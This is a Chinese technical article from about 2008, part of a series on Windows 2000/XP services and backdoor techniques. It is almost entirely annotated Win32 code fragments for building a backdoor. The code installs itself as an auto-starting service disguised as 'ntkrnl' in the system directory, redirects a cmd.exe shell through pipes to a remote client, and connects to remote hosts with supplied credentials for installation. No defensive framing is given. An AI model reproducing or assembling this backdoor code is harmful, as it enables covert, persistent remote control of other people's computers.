科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道Win2000/XP服务与后门技术(4)

Win2000/XP服务与后门技术(4)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与Unix系统中的守护进程(daemon)。

作者:TOo2y 来源:中华安全网 2008年1月5日

关键字: 后门技术 服务 Windows Windows xp

  • 评论
  • 分享微博
  • 分享邮件

  2.服务程序相关函数

  SERVICE_TABLE_ENTRY DispatchTable[] =
  {
   {"ntkrnl",CmdStart},
   //服务程序的名称和入口点;
   {NULL  ,NULL  }
   //SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
  };
  StartServiceCtrlDispatcher(DispatchTable);
  //连接服务控制管理器,开始控制调度程序线程;
  ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);  
  //注册CmdControl函数为“HandlerEx”函数,并初始化;
  ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
  //设置服务的当前状态为SERVICE_RUNNING;
  hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
  //创建服务主线程,实现后门功能
  WaitForSingleObject(hMutex,INFINITE);
  //等待互斥量,控制全局变量的同步使用;
  TerminateProcess(lpProcessDataHead->hProcess,1);
  //终止创建的Cmd进程;
  hSearch=FindFirstFile(lpImagePath,&FileData);
  //查找系统目录下服务程序的文件是否已经存在;
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
  //获得当前进程的程序文件名;
  CopyFile(lpCurrentPath,lpImagePath,FALSE);
  //复制文件到系统目录下;
  schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
  //打开服务控制管理器数据库;
  CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
  //创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;
  schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
  //如果服务已经创建,则打开服务;
  StartService(schService,0,NULL);
  //启动服务进程;
  ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
  //控制服务状态;
  DeleteService(schService);
  //卸载服务程序;
  DeleteFile(lpImagePath);
  //删除文件;

  3.后门程序相关函数

  hMutex=CreateMutex(NULL,FALSE,NULL);
  //创建互斥量;
  hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
  //创建处理客户端访问的重定向输入输出线程;
  CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
  CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
  //创建用于进程间通信的输入/输出管道;
  CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
  //创建经重定向输入输出的Cmd进程;
  hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
  hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
  //创建处理Cmd输入输出的线程;
  dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
  //等待线程或进程的结束;
  ReleaseMutex(hMutex);
  //释放互斥量;
  PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
  //从管道中复制数据到缓冲区中,但不从管道中移出;
  ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
  //从管道中复制数据到缓冲区中;
  WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
  //向管道中写入从客户端接收到的数据;
  dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
  //与远程主机建立连接;
  WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
  //与远程主机结束连接;

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章